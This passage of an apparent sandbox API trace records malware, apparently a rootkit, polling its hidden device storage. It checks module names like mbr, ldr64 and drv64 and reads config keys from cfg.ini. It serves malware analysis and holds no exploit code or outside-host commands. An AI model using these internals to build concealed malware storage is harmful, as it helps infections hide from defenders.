_MaxCount=0x10) returned -8 [0130.116] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.116] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.116] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.116] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.116] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.116] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.116] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.116] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.116] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.116] KeLeaveCriticalRegion () [0130.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.116] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.116] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.116] KeEnterCriticalRegion () [0130.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.116] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.116] IdePortDispatch () returned 0x103 [0130.116] KeWaitForMutexObject () returned 0x0 [0130.117] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.117] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.117] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.117] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.117] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.117] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.117] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.117] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.117] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.117] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.117] KeLeaveCriticalRegion () [0130.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.117] ReleaseMutex (hMutex=0x100) returned 1 [0130.117] Sleep (dwMilliseconds=0x2bf20) [0130.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70c0c4b0, dwHighDateTime=0x1d24fa4)) [0130.124] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.124] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.124] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.124] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.124] KeEnterCriticalRegion () [0130.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.124] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.124] IdePortDispatch () returned 0x103 [0130.124] KeWaitForMutexObject () returned 0x0 [0130.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.125] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.125] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.125] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.125] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.125] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08280 [0130.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.125] KeLeaveCriticalRegion () [0130.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.125] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.125] KeEnterCriticalRegion () [0130.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.125] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.125] KeLeaveCriticalRegion () [0130.125] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.125] KeEnterCriticalRegion () [0130.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.125] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.125] IdePortDispatch () returned 0x103 [0130.125] KeWaitForMutexObject () returned 0x0 [0130.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.125] KeLeaveCriticalRegion () [0130.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.125] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.126] KeEnterCriticalRegion () [0130.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d29000 [0130.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.126] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.126] IdePortDispatch () returned 0x103 [0130.126] KeWaitForMutexObject () returned 0x0 [0130.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.126] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.126] IdePortDispatch () returned 0x103 [0130.126] KeWaitForMutexObject () returned 0x0 [0130.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.126] KeLeaveCriticalRegion () [0130.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.127] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.127] KeEnterCriticalRegion () [0130.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.127] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.127] KeLeaveCriticalRegion () [0130.127] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.127] KeEnterCriticalRegion () [0130.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.127] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.127] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.127] KeLeaveCriticalRegion () [0130.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.127] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.127] KeEnterCriticalRegion () [0130.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.127] ExFreePoolWithTag (P=0xfffffa8003c08280, Tag=0x0) [0130.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.127] KeLeaveCriticalRegion () [0130.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.127] ReleaseMutex (hMutex=0xf0) returned 1 [0130.128] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.128] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.128] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.128] KeEnterCriticalRegion () [0130.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.128] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.128] IdePortDispatch () returned 0x103 [0130.128] KeWaitForMutexObject () returned 0x0 [0130.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.128] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.128] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.128] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.128] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.128] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c010 [0130.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.128] KeLeaveCriticalRegion () [0130.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.128] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.128] KeEnterCriticalRegion () [0130.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.128] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.128] KeLeaveCriticalRegion () [0130.128] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.128] KeEnterCriticalRegion () [0130.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.128] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.129] IdePortDispatch () returned 0x103 [0130.129] KeWaitForMutexObject () returned 0x0 [0130.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.129] KeLeaveCriticalRegion () [0130.129] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.129] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.129] KeEnterCriticalRegion () [0130.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.129] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2a000 [0130.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.129] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.129] IdePortDispatch () returned 0x103 [0130.129] KeWaitForMutexObject () returned 0x0 [0130.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.129] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.129] IdePortDispatch () returned 0x103 [0130.130] KeWaitForMutexObject () returned 0x0 [0130.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.130] KeLeaveCriticalRegion () [0130.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.130] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.130] KeEnterCriticalRegion () [0130.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.130] KeLeaveCriticalRegion () [0130.130] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.130] KeEnterCriticalRegion () [0130.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.130] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.130] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.130] KeLeaveCriticalRegion () [0130.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.130] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.131] KeEnterCriticalRegion () [0130.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.131] ExFreePoolWithTag (P=0xfffffa800294c010, Tag=0x0) [0130.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.131] KeLeaveCriticalRegion () [0130.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.131] ReleaseMutex (hMutex=0xf0) returned 1 [0130.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.131] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.131] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.131] KeEnterCriticalRegion () [0130.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.131] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.131] IdePortDispatch () returned 0x103 [0130.131] KeWaitForMutexObject () returned 0x0 [0130.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.131] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.131] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.131] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.131] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.131] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0130.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.131] KeLeaveCriticalRegion () [0130.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.131] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.131] KeEnterCriticalRegion () [0130.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.131] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.132] KeLeaveCriticalRegion () [0130.132] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.132] KeEnterCriticalRegion () [0130.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.132] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.132] IdePortDispatch () returned 0x103 [0130.132] KeWaitForMutexObject () returned 0x0 [0130.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.132] KeLeaveCriticalRegion () [0130.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.132] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.132] KeEnterCriticalRegion () [0130.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2b000 [0130.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.132] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.132] IdePortDispatch () returned 0x103 [0130.133] KeWaitForMutexObject () returned 0x0 [0130.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.133] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.133] IdePortDispatch () returned 0x103 [0130.133] KeWaitForMutexObject () returned 0x0 [0130.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.133] KeLeaveCriticalRegion () [0130.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.134] KeEnterCriticalRegion () [0130.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.134] KeLeaveCriticalRegion () [0130.134] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.134] KeEnterCriticalRegion () [0130.134] 